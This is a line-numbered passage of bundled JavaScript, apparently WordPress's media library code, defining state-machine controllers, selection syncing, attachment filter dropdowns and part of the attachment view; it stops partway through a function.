1970 this.frame.content.set(this.cropperView);
1971
1972 },
1973
1974 doCrop: function( attachment ) {
1975 var cropDetails = attachment.get( 'cropDetails' ),
1976 control = this.get( 'control' );
1977
1978 cropDetails.dst_width = control.params.width;
1979 cropDetails.dst_height = control.params.height;
1980
1981 return wp.ajax.post( 'crop-image', {
1982 nonce: attachment.get( 'nonces' ).edit,
1983 id: attachment.get( 'id' ),
1984 context: 'site-icon',
1985 cropDetails: cropDetails
1986 } );
1987 }
1988});
1989
1990module.exports = SiteIconCropper;
1991
1992
1993/***/ },
1994
1995/***/ 6150
1996(module) {
1997
1998/**
1999 * wp.media.controller.StateMachine
2000 *
2001 * A state machine keeps track of state. It is in one state at a time,
2002 * and can change from one state to another.
2003 *
2004 * States are stored as models in a Backbone collection.
2005 *
2006 * @memberOf wp.media.controller
2007 *
2008 * @since 3.5.0
2009 *
2010 * @class
2011 * @augments Backbone.Model
2012 * @mixin
2013 * @mixes Backbone.Events
2014 */
2015var StateMachine = function() {
2016 return {
2017 // Use Backbone's self-propagating `extend` inheritance method.
2018 extend: Backbone.Model.extend
2019 };
2020};
2021
2022_.extend( StateMachine.prototype, Backbone.Events,/** @lends wp.media.controller.StateMachine.prototype */{
2023 /**
2024 * Fetch a state.
2025 *
2026 * If no `id` is provided, returns the active state.
2027 *
2028 * Implicitly creates states.
2029 *
2030 * Ensure that the `states` collection exists so the `StateMachine`
2031 * can be used as a mixin.
2032 *
2033 * @since 3.5.0
2034 *
2035 * @param {string} id
2036 * @return {wp.media.controller.State} Returns a State model from
2037 * the StateMachine collection.
2038 */
2039 state: function( id ) {
2040 this.states = this.states || new Backbone.Collection();
2041
2042 // Default to the active state.
2043 id = id || this._state;
2044
2045 if ( id && ! this.states.get( id ) ) {
2046 this.states.add({ id: id });
2047 }
2048 return this.states.get( id );
2049 },
2050
2051 /**
2052 * Sets the active state.
2053 *
2054 * Bail if we're trying to select the current state, if we haven't
2055 * created the `states` collection, or are trying to select a state
2056 * that does not exist.
2057 *
2058 * @since 3.5.0
2059 *
2060 * @param {string} id
2061 *
2062 * @fires wp.media.controller.State#deactivate
2063 * @fires wp.media.controller.State#activate
2064 *
2065 * @return {wp.media.controller.StateMachine} Returns itself to allow chaining.
2066 */
2067 setState: function( id ) {
2068 var previous = this.state();
2069
2070 if ( ( previous && id === previous.id ) || ! this.states || ! this.states.get( id ) ) {
2071 return this;
2072 }
2073
2074 if ( previous ) {
2075 previous.trigger('deactivate');
2076 this._lastState = previous.id;
2077 }
2078
2079 this._state = id;
2080 this.state().trigger('activate');
2081
2082 return this;
2083 },
2084
2085 /**
2086 * Returns the previous active state.
2087 *
2088 * Call the `state()` method with no parameters to retrieve the current
2089 * active state.
2090 *
2091 * @since 3.5.0
2092 *
2093 * @return {wp.media.controller.State} Returns a State model from
2094 * the StateMachine collection.
2095 */
2096 lastState: function() {
2097 if ( this._lastState ) {
2098 return this.state( this._lastState );
2099 }
2100 }
2101});
2102
2103// Map all event binding and triggering on a StateMachine to its `states` collection.
2104_.each([ 'on', 'off', 'trigger' ], function( method ) {
2105 /**
2106 * @function on
2107 * @memberOf wp.media.controller.StateMachine
2108 * @instance
2109 * @return {wp.media.controller.StateMachine} Returns itself to allow chaining.
2110 */
2111 /**
2112 * @function off
2113 * @memberOf wp.media.controller.StateMachine
2114 * @instance
2115 * @return {wp.media.controller.StateMachine} Returns itself to allow chaining.
2116 */
2117 /**
2118 * @function trigger
2119 * @memberOf wp.media.controller.StateMachine
2120 * @instance
2121 * @return {wp.media.controller.StateMachine} Returns itself to allow chaining.
2122 */
2123 StateMachine.prototype[ method ] = function() {
2124 // Ensure that the `states` collection exists so the `StateMachine`
2125 // can be used as a mixin.
2126 this.states = this.states || new Backbone.Collection();
2127 // Forward the method to the `states` collection.
2128 this.states[ method ].apply( this.states, arguments );
2129 return this;
2130 };
2131});
2132
2133module.exports = StateMachine;
2134
2135
2136/***/ },
2137
2138/***/ 5694
2139(module) {
2140
2141/**
2142 * wp.media.controller.State
2143 *
2144 * A state is a step in a workflow that when set will trigger the controllers
2145 * for the regions to be updated as specified in the frame.
2146 *
2147 * A state has an event-driven lifecycle:
2148 *
2149 * 'ready' triggers when a state is added to a state machine's collection.
2150 * 'activate' triggers when a state is activated by a state machine.
2151 * 'deactivate' triggers when a state is deactivated by a state machine.
2152 * 'reset' is not triggered automatically. It should be invoked by the
2153 * proper controller to reset the state to its default.
2154 *
2155 * @memberOf wp.media.controller
2156 *
2157 * @class
2158 * @augments Backbone.Model
2159 */
2160var State = Backbone.Model.extend(/** @lends wp.media.controller.State.prototype */{
2161 /**
2162 * Constructor.
2163 *
2164 * @since 3.5.0
2165 */
2166 constructor: function() {
2167 this.on( 'activate', this._preActivate, this );
2168 this.on( 'activate', this.activate, this );
2169 this.on( 'activate', this._postActivate, this );
2170 this.on( 'deactivate', this._deactivate, this );
2171 this.on( 'deactivate', this.deactivate, this );
2172 this.on( 'reset', this.reset, this );
2173 this.on( 'ready', this._ready, this );
2174 this.on( 'ready', this.ready, this );
2175 /**
2176 * Call parent constructor with passed arguments
2177 */
2178 Backbone.Model.apply( this, arguments );
2179 this.on( 'change:menu', this._updateMenu, this );
2180 },
2181 /**
2182 * Ready event callback.
2183 *
2184 * @abstract
2185 * @since 3.5.0
2186 */
2187 ready: function() {},
2188
2189 /**
2190 * Activate event callback.
2191 *
2192 * @abstract
2193 * @since 3.5.0
2194 */
2195 activate: function() {},
2196
2197 /**
2198 * Deactivate event callback.
2199 *
2200 * @abstract
2201 * @since 3.5.0
2202 */
2203 deactivate: function() {},
2204
2205 /**
2206 * Reset event callback.
2207 *
2208 * @abstract
2209 * @since 3.5.0
2210 */
2211 reset: function() {},
2212
2213 /**
2214 * @since 3.5.0
2215 * @access private
2216 */
2217 _ready: function() {
2218 this._updateMenu();
2219 },
2220
2221 /**
2222 * @since 3.5.0
2223 * @access private
2224 */
2225 _preActivate: function() {
2226 this.active = true;
2227 },
2228
2229 /**
2230 * @since 3.5.0
2231 * @access private
2232 */
2233 _postActivate: function() {
2234 this.on( 'change:menu', this._menu, this );
2235 this.on( 'change:titleMode', this._title, this );
2236 this.on( 'change:content', this._content, this );
2237 this.on( 'change:toolbar', this._toolbar, this );
2238
2239 this.frame.on( 'title:render:default', this._renderTitle, this );
2240
2241 this._title();
2242 this._menu();
2243 this._toolbar();
2244 this._content();
2245 this._router();
2246 },
2247
2248 /**
2249 * @since 3.5.0
2250 * @access private
2251 */
2252 _deactivate: function() {
2253 this.active = false;
2254
2255 this.frame.off( 'title:render:default', this._renderTitle, this );
2256
2257 this.off( 'change:menu', this._menu, this );
2258 this.off( 'change:titleMode', this._title, this );
2259 this.off( 'change:content', this._content, this );
2260 this.off( 'change:toolbar', this._toolbar, this );
2261 },
2262
2263 /**
2264 * @since 3.5.0
2265 * @access private
2266 */
2267 _title: function() {
2268 this.frame.title.render( this.get('titleMode') || 'default' );
2269 },
2270
2271 /**
2272 * @since 3.5.0
2273 * @access private
2274 */
2275 _renderTitle: function( view ) {
2276 view.$el.text( this.get('title') || '' );
2277 },
2278
2279 /**
2280 * @since 3.5.0
2281 * @access private
2282 */
2283 _router: function() {
2284 var router = this.frame.router,
2285 mode = this.get('router'),
2286 view;
2287
2288 this.frame.$el.toggleClass( 'hide-router', ! mode );
2289 if ( ! mode ) {
2290 return;
2291 }
2292
2293 this.frame.router.render( mode );
2294
2295 view = router.get();
2296 if ( view && view.select ) {
2297 view.select( this.frame.content.mode() );
2298 }
2299 },
2300
2301 /**
2302 * @since 3.5.0
2303 * @access private
2304 */
2305 _menu: function() {
2306 var menu = this.frame.menu,
2307 mode = this.get('menu'),
2308 actionMenuItems,
2309 actionMenuLength,
2310 view;
2311
2312 if ( this.frame.menu ) {
2313 actionMenuItems = this.frame.menu.get('views'),
2314 actionMenuLength = actionMenuItems ? actionMenuItems.views.get().length : 0,
2315 // Show action menu only if it is active and has more than one default element.
2316 this.frame.$el.toggleClass( 'hide-menu', ! mode || actionMenuLength < 2 );
2317 }
2318 if ( ! mode ) {
2319 return;
2320 }
2321
2322 menu.mode( mode );
2323
2324 view = menu.get();
2325 if ( view && view.select ) {
2326 view.select( this.id );
2327 }
2328 },
2329
2330 /**
2331 * @since 3.5.0
2332 * @access private
2333 */
2334 _updateMenu: function() {
2335 var previous = this.previous('menu'),
2336 menu = this.get('menu');
2337
2338 if ( previous ) {
2339 this.frame.off( 'menu:render:' + previous, this._renderMenu, this );
2340 }
2341
2342 if ( menu ) {
2343 this.frame.on( 'menu:render:' + menu, this._renderMenu, this );
2344 }
2345 },
2346
2347 /**
2348 * Create a view in the media menu for the state.
2349 *
2350 * @since 3.5.0
2351 * @access private
2352 *
2353 * @param {media.view.Menu} view The menu view.
2354 */
2355 _renderMenu: function( view ) {
2356 var menuItem = this.get('menuItem'),
2357 title = this.get('title'),
2358 priority = this.get('priority');
2359
2360 if ( ! menuItem && title ) {
2361 menuItem = { text: title };
2362
2363 if ( priority ) {
2364 menuItem.priority = priority;
2365 }
2366 }
2367
2368 if ( ! menuItem ) {
2369 return;
2370 }
2371
2372 view.set( this.id, menuItem );
2373 }
2374});
2375
2376_.each(['toolbar','content'], function( region ) {
2377 /**
2378 * @access private
2379 */
2380 State.prototype[ '_' + region ] = function() {
2381 var mode = this.get( region );
2382 if ( mode ) {
2383 this.frame[ region ].render( mode );
2384 }
2385 };
2386});
2387
2388module.exports = State;
2389
2390
2391/***/ },
2392
2393/***/ 4181
2394(module) {
2395
2396/**
2397 * wp.media.selectionSync
2398 *
2399 * Sync an attachments selection in a state with another state.
2400 *
2401 * Allows for selecting multiple images in the Add Media workflow, and then
2402 * switching to the Insert Gallery workflow while preserving the attachments selection.
2403 *
2404 * @memberOf wp.media
2405 *
2406 * @mixin
2407 */
2408var selectionSync = {
2409 /**
2410 * @since 3.5.0
2411 */
2412 syncSelection: function() {
2413 var selection = this.get('selection'),
2414 manager = this.frame._selection;
2415
2416 if ( ! this.get('syncSelection') || ! manager || ! selection ) {
2417 return;
2418 }
2419
2420 /*
2421 * If the selection supports multiple items, validate the stored
2422 * attachments based on the new selection's conditions. Record
2423 * the attachments that are not included; we'll maintain a
2424 * reference to those. Other attachments are considered in flux.
2425 */
2426 if ( selection.multiple ) {
2427 selection.reset( [], { silent: true });
2428 selection.validateAll( manager.attachments );
2429 manager.difference = _.difference( manager.attachments.models, selection.models );
2430 }
2431
2432 // Sync the selection's single item with the master.
2433 selection.single( manager.single );
2434 },
2435
2436 /**
2437 * Record the currently active attachments, which is a combination
2438 * of the selection's attachments and the set of selected
2439 * attachments that this specific selection considered invalid.
2440 * Reset the difference and record the single attachment.
2441 *
2442 * @since 3.5.0
2443 */
2444 recordSelection: function() {
2445 var selection = this.get('selection'),
2446 manager = this.frame._selection;
2447
2448 if ( ! this.get('syncSelection') || ! manager || ! selection ) {
2449 return;
2450 }
2451
2452 if ( selection.multiple ) {
2453 manager.attachments.reset( selection.toArray().concat( manager.difference ) );
2454 manager.difference = [];
2455 } else {
2456 manager.attachments.add( selection.toArray() );
2457 }
2458
2459 manager.single = selection._single;
2460 }
2461};
2462
2463module.exports = selectionSync;
2464
2465
2466/***/ },
2467
2468/***/ 2982
2469(module) {
2470
2471var View = wp.media.View,
2472 AttachmentCompat;
2473
2474/**
2475 * wp.media.view.AttachmentCompat
2476 *
2477 * A view to display fields added via the `attachment_fields_to_edit` filter.
2478 *
2479 * @memberOf wp.media.view
2480 *
2481 * @class
2482 * @augments wp.media.View
2483 * @augments wp.Backbone.View
2484 * @augments Backbone.View
2485 */
2486AttachmentCompat = View.extend(/** @lends wp.media.view.AttachmentCompat.prototype */{
2487 tagName: 'form',
2488 className: 'compat-item',
2489
2490 events: {
2491 'submit': 'preventDefault',
2492 'change input': 'save',
2493 'change select': 'save',
2494 'change textarea': 'save'
2495 },
2496
2497 initialize: function() {
2498 // Render the view when a new item is added.
2499 this.listenTo( this.model, 'add', this.render );
2500 },
2501
2502 /**
2503 * @return {wp.media.view.AttachmentCompat} Returns itself to allow chaining.
2504 */
2505 dispose: function() {
2506 if ( this.$(':focus').length ) {
2507 this.save();
2508 }
2509 /**
2510 * call 'dispose' directly on the parent class
2511 */
2512 return View.prototype.dispose.apply( this, arguments );
2513 },
2514 /**
2515 * @return {wp.media.view.AttachmentCompat} Returns itself to allow chaining.
2516 */
2517 render: function() {
2518 var compat = this.model.get('compat');
2519 if ( ! compat || ! compat.item ) {
2520 return;
2521 }
2522
2523 this.views.detach();
2524 this.$el.html( compat.item );
2525 this.views.render();
2526 return this;
2527 },
2528 /**
2529 * @param {Object} event
2530 */
2531 preventDefault: function( event ) {
2532 event.preventDefault();
2533 },
2534 /**
2535 * @param {Object} event
2536 */
2537 save: function( event ) {
2538 var data = {};
2539
2540 if ( event ) {
2541 event.preventDefault();
2542 }
2543
2544 _.each( this.$el.serializeArray(), function( pair ) {
2545 data[ pair.name ] = pair.value;
2546 });
2547
2548 this.controller.trigger( 'attachment:compat:waiting', ['waiting'] );
2549 this.model.saveCompat( data ).always( _.bind( this.postSave, this ) );
2550 },
2551
2552 postSave: function() {
2553 this.controller.trigger( 'attachment:compat:ready', ['ready'] );
2554 }
2555});
2556
2557module.exports = AttachmentCompat;
2558
2559
2560/***/ },
2561
2562/***/ 7709
2563(module) {
2564
2565var $ = jQuery,
2566 AttachmentFilters;
2567
2568/**
2569 * wp.media.view.AttachmentFilters
2570 *
2571 * @memberOf wp.media.view
2572 *
2573 * @class
2574 * @augments wp.media.View
2575 * @augments wp.Backbone.View
2576 * @augments Backbone.View
2577 */
2578AttachmentFilters = wp.media.View.extend(/** @lends wp.media.view.AttachmentFilters.prototype */{
2579 tagName: 'select',
2580 className: 'attachment-filters',
2581 id: 'media-attachment-filters',
2582
2583 events: {
2584 change: 'change'
2585 },
2586
2587 keys: [],
2588
2589 initialize: function() {
2590 this.createFilters();
2591 _.extend( this.filters, this.options.filters );
2592
2593 // Build `<option>` elements.
2594 this.$el.html( _.chain( this.filters ).map( function( filter, value ) {
2595 return {
2596 el: $( '<option></option>' ).val( value ).html( filter.text )[0],
2597 priority: filter.priority || 50
2598 };
2599 }, this ).sortBy('priority').pluck('el').value() );
2600
2601 this.listenTo( this.model, 'change', this.select );
2602 this.select();
2603 },
2604
2605 /**
2606 * @abstract
2607 */
2608 createFilters: function() {
2609 this.filters = {};
2610 },
2611
2612 /**
2613 * When the selected filter changes, update the Attachment Query properties to match.
2614 */
2615 change: function() {
2616 var filter = this.filters[ this.el.value ];
2617 if ( filter ) {
2618 this.model.set( filter.props );
2619 }
2620 },
2621
2622 select: function() {
2623 var model = this.model,
2624 value = 'all',
2625 props = model.toJSON();
2626
2627 _.find( this.filters, function( filter, id ) {
2628 var equal = _.all( filter.props, function( prop, key ) {
2629 return prop === ( _.isUndefined( props[ key ] ) ? null : props[ key ] );
2630 });
2631
2632 if ( equal ) {
2633 return value = id;
2634 }
2635 });
2636
2637 this.$el.val( value );
2638 }
2639});
2640
2641module.exports = AttachmentFilters;
2642
2643
2644/***/ },
2645
2646/***/ 7349
2647(module) {
2648
2649var l10n = wp.media.view.l10n,
2650 All;
2651
2652/**
2653 * wp.media.view.AttachmentFilters.All
2654 *
2655 * @memberOf wp.media.view.AttachmentFilters
2656 *
2657 * @class
2658 * @augments wp.media.view.AttachmentFilters
2659 * @augments wp.media.View
2660 * @augments wp.Backbone.View
2661 * @augments Backbone.View
2662 */
2663All = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.All.prototype */{
2664 createFilters: function() {
2665 var filters = {},
2666 uid = window.userSettings ? parseInt( window.userSettings.uid, 10 ) : 0;
2667
2668 _.each( wp.media.view.settings.mimeTypes || {}, function( text, key ) {
2669 filters[ key ] = {
2670 text: text,
2671 props: {
2672 status: null,
2673 type: key,
2674 uploadedTo: null,
2675 orderby: 'date',
2676 order: 'DESC',
2677 author: null
2678 }
2679 };
2680 });
2681
2682 filters.all = {
2683 text: l10n.allMediaItems,
2684 props: {
2685 status: null,
2686 type: null,
2687 uploadedTo: null,
2688 orderby: 'date',
2689 order: 'DESC',
2690 author: null
2691 },
2692 priority: 10
2693 };
2694
2695 if ( wp.media.view.settings.post.id ) {
2696 filters.uploaded = {
2697 text: l10n.uploadedToThisPost,
2698 props: {
2699 status: null,
2700 type: null,
2701 uploadedTo: wp.media.view.settings.post.id,
2702 orderby: 'menuOrder',
2703 order: 'ASC',
2704 author: null
2705 },
2706 priority: 20
2707 };
2708 }
2709
2710 filters.unattached = {
2711 text: l10n.unattached,
2712 props: {
2713 status: null,
2714 uploadedTo: 0,
2715 type: null,
2716 orderby: 'menuOrder',
2717 order: 'ASC',
2718 author: null
2719 },
2720 priority: 50
2721 };
2722
2723 if ( uid ) {
2724 filters.mine = {
2725 text: l10n.mine,
2726 props: {
2727 status: null,
2728 type: null,
2729 uploadedTo: null,
2730 orderby: 'date',
2731 order: 'DESC',
2732 author: uid
2733 },
2734 priority: 50
2735 };
2736 }
2737
2738 if ( wp.media.view.settings.mediaTrash &&
2739 this.controller.isModeActive( 'grid' ) ) {
2740
2741 filters.trash = {
2742 text: l10n.trash,
2743 props: {
2744 uploadedTo: null,
2745 status: 'trash',
2746 type: null,
2747 orderby: 'date',
2748 order: 'DESC',
2749 author: null
2750 },
2751 priority: 50
2752 };
2753 }
2754
2755 this.filters = filters;
2756 }
2757});
2758
2759module.exports = All;
2760
2761
2762/***/ },
2763
2764/***/ 6472
2765(module) {
2766
2767var l10n = wp.media.view.l10n,
2768 DateFilter;
2769
2770/**
2771 * A filter dropdown for month/dates.
2772 *
2773 * @memberOf wp.media.view.AttachmentFilters
2774 *
2775 * @class
2776 * @augments wp.media.view.AttachmentFilters
2777 * @augments wp.media.View
2778 * @augments wp.Backbone.View
2779 * @augments Backbone.View
2780 */
2781DateFilter = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.Date.prototype */{
2782 id: 'media-attachment-date-filters',
2783
2784 createFilters: function() {
2785 var filters = {};
2786 _.each( wp.media.view.settings.months || {}, function( value, index ) {
2787 filters[ index ] = {
2788 text: value.text,
2789 props: {
2790 year: value.year,
2791 monthnum: value.month
2792 }
2793 };
2794 });
2795 filters.all = {
2796 text: l10n.allDates,
2797 props: {
2798 monthnum: false,
2799 year: false
2800 },
2801 priority: 10
2802 };
2803 this.filters = filters;
2804 }
2805});
2806
2807module.exports = DateFilter;
2808
2809
2810/***/ },
2811
2812/***/ 1368
2813(module) {
2814
2815var l10n = wp.media.view.l10n,
2816 Uploaded;
2817
2818/**
2819 * wp.media.view.AttachmentFilters.Uploaded
2820 *
2821 * @memberOf wp.media.view.AttachmentFilters
2822 *
2823 * @class
2824 * @augments wp.media.view.AttachmentFilters
2825 * @augments wp.media.View
2826 * @augments wp.Backbone.View
2827 * @augments Backbone.View
2828 */
2829Uploaded = wp.media.view.AttachmentFilters.extend(/** @lends wp.media.view.AttachmentFilters.Uploaded.prototype */{
2830 createFilters: function() {
2831 var type = this.model.get('type'),
2832 types = wp.media.view.settings.mimeTypes,
2833 uid = window.userSettings ? parseInt( window.userSettings.uid, 10 ) : 0,
2834 text;
2835
2836 if ( types && type ) {
2837 text = types[ type ];
2838 }
2839
2840 this.filters = {
2841 all: {
2842 text: text || l10n.allMediaItems,
2843 props: {
2844 uploadedTo: null,
2845 orderby: 'date',
2846 order: 'DESC',
2847 author: null
2848 },
2849 priority: 10
2850 },
2851
2852 uploaded: {
2853 text: l10n.uploadedToThisPost,
2854 props: {
2855 uploadedTo: wp.media.view.settings.post.id,
2856 orderby: 'menuOrder',
2857 order: 'ASC',
2858 author: null
2859 },
2860 priority: 20
2861 },
2862
2863 unattached: {
2864 text: l10n.unattached,
2865 props: {
2866 uploadedTo: 0,
2867 orderby: 'menuOrder',
2868 order: 'ASC',
2869 author: null
2870 },
2871 priority: 50
2872 }
2873 };
2874
2875 if ( uid ) {
2876 this.filters.mine = {
2877 text: l10n.mine,
2878 props: {
2879 orderby: 'date',
2880 order: 'DESC',
2881 author: uid
2882 },
2883 priority: 50
2884 };
2885 }
2886 }
2887});
2888
2889module.exports = Uploaded;
2890
2891
2892/***/ },
2893
2894/***/ 4075
2895(module) {
2896
2897var View = wp.media.View,
2898 $ = jQuery,
2899 Attachment;
2900
2901/**
2902 * wp.media.view.Attachment
2903 *
2904 * @memberOf wp.media.view
2905 *
2906 * @class
2907 * @augments wp.media.View
2908 * @augments wp.Backbone.View
2909 * @augments Backbone.View
2910 */
2911Attachment = View.extend(/** @lends wp.media.view.Attachment.prototype */{
2912 tagName: 'li',
2913 className: 'attachment',
2914 template: wp.template('attachment'),
2915
2916 attributes: function() {
2917 return {
2918 'tabIndex': 0,
2919 'role': 'checkbox',
2920 'aria-label': this.model.get( 'title' ) || wp.i18n.__( 'uploading…' ),
2921 'aria-checked': false,
2922 'data-id': this.model.get( 'id' )
2923 };
2924 },
2925
2926 events: {
2927 'click': 'toggleSelectionHandler',
2928 'change [data-setting]': 'updateSetting',
2929 'change [data-setting] input': 'updateSetting',
2930 'change [data-setting] select': 'updateSetting',
2931 'change [data-setting] textarea': 'updateSetting',
2932 'click .attachment-close': 'removeFromLibrary',
2933 'click .check': 'checkClickHandler',
2934 'keydown': 'toggleSelectionHandler'
2935 },
2936
2937 buttons: {},
2938
2939 initialize: function() {
2940 var selection = this.options.selection,
2941 options = _.defaults( this.options, {
2942 rerenderOnModelChange: true
2943 } );
2944
2945 if ( options.rerenderOnModelChange ) {
2946 this.listenTo( this.model, 'change', this.render );
2947 } else {
2948 this.listenTo( this.model, 'change:percent', this.progress );
2949 }
2950 this.listenTo( this.model, 'change:title', this._syncTitle );
2951 this.listenTo( this.model, 'change:caption', this._syncCaption );
2952 this.listenTo( this.model, 'change:artist', this._syncArtist );
2953 this.listenTo( this.model, 'change:album', this._syncAlbum );
2954
2955 // Update the selection.
2956 this.listenTo( this.model, 'add', this.select );
2957 this.listenTo( this.model, 'remove', this.deselect );
2958 if ( selection ) {
2959 selection.on( 'reset', this.updateSelect, this );
2960 // Update the model's details view.
2961 this.listenTo( this.model, 'selection:single selection:unsingle', this.details );
2962 this.details( this.model, this.controller.state().get('selection') );
2963 }
2964
2965 this.listenTo( this.controller.states, 'attachment:compat:waiting attachment:compat:ready', this.updateSave );
2966 },
2967 /**
2968 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
2969 */
2970 dispose: function() {
2971 var selection = this.options.selection;
2972
2973 // Make sure all settings are saved before removing the view.
2974 this.updateAll();
2975
2976 if ( selection ) {
2977 selection.off( null, null, this );
2978 }
2979 /**
2980 * call 'dispose' directly on the parent class
2981 */
2982 View.prototype.dispose.apply( this, arguments );
2983 return this;
2984 },
2985 /**
2986 * @return {wp.media.view.Attachment} Returns itself to allow chaining.
2987 */
2988 render: function() {
2989 var options = _.defaults( this.model.toJSON(), {
2990 orientation: 'landscape',
2991 uploading: false,
2992 type: '',
2993 subtype: '',
2994 icon: '',
2995 filename: '',
2996 caption: '',
2997 title: '',
2998 dateFormatted: '',
2999 width: '',
3000 height: '',
3001 compat: false,
3002 alt: '',
3003 description: ''
3004 }, this.options );
3005
3006 options.buttons = this.buttons;
3007 options.describe = this.controller.state().get('describe');
3008
3009 if ( 'image' === options.type ) {
3010 options.size = this.imageSize();
3011 }
3012
3013 options.can = {};
3014 if ( options.nonces ) {
3015 options.can.remove = !! options.nonces['delete'];
3016 options.can.save = !! options.nonces.update;
3017 }
3018
3019 if ( this.controller.state().get('allowLocalEdits') && ! options.uploading ) {
3020 options.allowLocalEdits = true;
3021 }
3022
3023 if ( options.uploading && ! options.percent ) {
3024 options.percent = 0;
3025 }
3026
3027 this.views.detach();
3028 this.$el.html( this.template( options ) );
3029
3030 this.$el.toggleClass( 'uploading', options.uploading );
3031
3032 if ( options.uploading ) {
3033 this.$bar = this.$('.media-progress-bar div');
3034 } else {
3035 delete this.$bar;
3036 }
3037
3038 // Check if the model is selected.
3039 this.updateSelect();
3040
3041 // Update the save status.
3042 this.updateSave();
3043
3044 this.views.render();
3045
3046 return this;
3047 },
3048
3049 progress: function() {
3050 if ( this.$bar && this.$bar.length ) {
3051 this.$bar.width( this.model.get('percent') + '%' );
3052 }
3053 },
3054
3055 /**
3056 * @param {Object} event
3057 */
3058 toggleSelectionHandler: function( event ) {
3059 var method;
3060
3061 // Don't do anything inside inputs and on the attachment check and remove buttons.
3062 if ( 'INPUT' === event.target.nodeName || 'BUTTON' === event.target.nodeName ) {
3063 return;
3064 }
3065
3066 // Catch arrow events.
3067 if ( 37 === event.keyCode || 38 === event.keyCode || 39 === event.keyCode || 40 === event.keyCode ) {
3068 this.controller.trigger( 'attachment:keydown:arrow', event );
3069 return;
3070 }
3071
3072 // Catch enter and space events.
3073 if ( 'keydown' === event.type && 13 !== event.keyCode && 32 !== event.keyCode ) {
3074 return;
3075 }
3076
3077 event.preventDefault();
3078
3079 // In the grid view, bubble up an edit:attachment event to the controller.
3080 if ( this.controller.isModeActive( 'grid' ) ) {
3081 if ( this.controller.isModeActive( 'edit' ) ) {
3082 // Pass the current target to restore focus when closing.
3083 this.controller.trigger( 'edit:attachment', this.model, event.currentTarget );
3084 return;
3085 }
3086
3087 if ( this.controller.isModeActive( 'select' ) ) {
3088 method = 'toggle';
3089 }
3090 }
3091
3092 if ( event.shiftKey ) {
3093 method = 'between';
3094 } else if ( event.ctrlKey || event.metaKey ) {
3095 method = 'toggle';
3096 }
3097
3098 // Avoid toggles when the command or control key is pressed with the enter key to prevent deselecting the last selected attachment.
3099 if ( ( event.metaKey || event.ctrlKey ) && ( 13 === event.keyCode || 10 === event.keyCode ) ) {
3100 return;
3101 }
3102
3103 this.toggleSelection({
3104 method: method
3105 });
3106
3107 this.controller.trigger( 'selection:toggle' );
3108 },
3109 /**
3110 * @param {Object} options
3111 */
3112 toggleSelection: function( options ) {
3113 var collection = this.collection,
3114 selection = this.options.selection,
3115 model = this.model,
3116 method = options && options.method,
3117 single, models, singleIndex, modelIndex;
3118
3119 if ( ! selection ) {
3120 return;
3121 }
3122
3123 single = selection.single();
3124 method = _.isUndefined( method ) ? selection.multiple : method;
3125
3126 // If the `method` is set to `between`, select all models that
3127 // exist between the current and the selected model.
3128 if ( 'between' === method && single && selection.multiple ) {
3129 // If the models are the same, short-circuit.
3130 if ( single === model ) {
3131 return;
3132 }
3133
3134 singleIndex = collection.indexOf( single );
3135 modelIndex = collection.indexOf( this.model );
3136
3137 if ( singleIndex < modelIndex ) {
3138 models = collection.models.slice( singleIndex, modelIndex + 1 );
3139 } else {
3140 models = collection.models.slice( modelIndex, singleIndex + 1 );
3141 }
3142
3143 selection.add( models );
3144 selection.single( model );
3145 return;
3146
3147 // If the `method` is set to `toggle`, just flip the selection
3148 // status, regardless of whether the model is the single model.
3149 } else if ( 'toggle' === method ) {
3150 selection[ this.selected() ? 'remove' : 'add' ]( model );
3151 selection.single( model );
3152 return;
3153 } else if ( 'add' === method ) {
3154 selection.add( model );
3155 selection.single( model );
3156 return;
3157 }
3158
3159 // Fixes bug that loses focus when selecting a featured image.
3160 if ( ! method ) {
3161 method = 'add';
3162 }
3163
3164 if ( method !== 'add' ) {
3165 method = 'reset';
3166 }
3167
3168 if ( this.selected() ) {
3169 /*
3170 * If the model is the single model, remove it.
3171 * If it is not the same as the single model,
3172 * it now becomes the single model.
3173 */
3174 selection[ single === model ? 'remove' : 'single' ]( model );
3175 } else {
3176 /*
3177 * If the model is not selected, run the `method` on the
3178 * selection. By default, we `reset` the selection, but the
3179 * `method` can be set to `add` the model to the selection.
3180 */
3181 selection[ method ]( model );
3182 selection.single( model );
3183 }
3184 },
3185
3186 updateSelect: function() {
3187 this[ this.selected() ? 'select' : 'deselect' ]();
3188 },
3189 /**
3190 * @return {unresolved|boolean}
3191 */
3192 selected: function() {
3193 var selection = this.options.selection;
3194 if ( selection ) {
3195 return !! selection.get( this.model.cid );
3196 }
3197 },
3198 /**
3199 * @param {Backbone.Model} model
3200 * @param {Backbone.Collection} collection
3201 */
3202 select: function( model, collection ) {
3203 var selection = this.options.selection,
3204 controller = this.controller;
3205
3206 /*
3207 * Check if a selection exists and if it's the collection provided.
3208 * If they're not the same collection, bail; we're in another
3209 * selection's event loop.
3210 */
3211 if ( ! selection || ( collection && collection !== selection ) ) {
3212 return;
3213 }
3214
3215 // Bail if the model is already selected.
3216 if ( this.$el.hasClass( 'selected' ) ) {
3217 return;
3218 }
3219
3220 // Add 'selected' class to model, set aria-checked to true.
3221 this.$el.addClass( 'selected' ).attr( 'aria-checked', true );
3222 // Make the checkbox tabable, except in media grid (bulk select mode).
3223 if ( ! ( controller.isModeActive( 'grid' ) && controller.isModeActive( 'select' ) ) ) {
3224 this.$( '.check' ).attr( 'tabindex', '0' );
3225 }
3226 },
3227 /**
3228 * @param {Backbone.Model} model
3229 * @param {Backbone.Collection} collection
3230 */
3231 deselect: function( model, collection ) {
3232 var selection = this.options.selection;
3233
3234 /*
3235 * Check if a selection exists and if it's the collection provided.
3236 * If they're not the same collection, bail; we're in another
3237 * selection's event loop.
3238 */
3239 if ( ! selection || ( collection && collection !== selection ) ) {
3240 return;
3241 }
3242 this.$el.removeClass( 'selected' ).attr( 'aria-checked', false )
3243 .find( '.check' ).attr( 'tabindex', '-1' );
3244 },
3245 /**
3246 * @param {Backbone.Model} model
3247 * @param {Backbone.Collection} collection
3248 */
3249 details: function( model, collection ) {
3250 var selection = this.options.selection,
3251 details;
3252
3253 if ( selection !== collection ) {
3254 return;
3255 }
3256
3257 details = selection.single();
3258 this.$el.toggleClass( 'details', details === this.model );
3259 },
3260 /**
3261 * @param {string} size
3262 * @return {Object}
3263 */
3264 imageSize: function( size ) {
3265 var sizes = this.model.get('sizes'), matched = false;
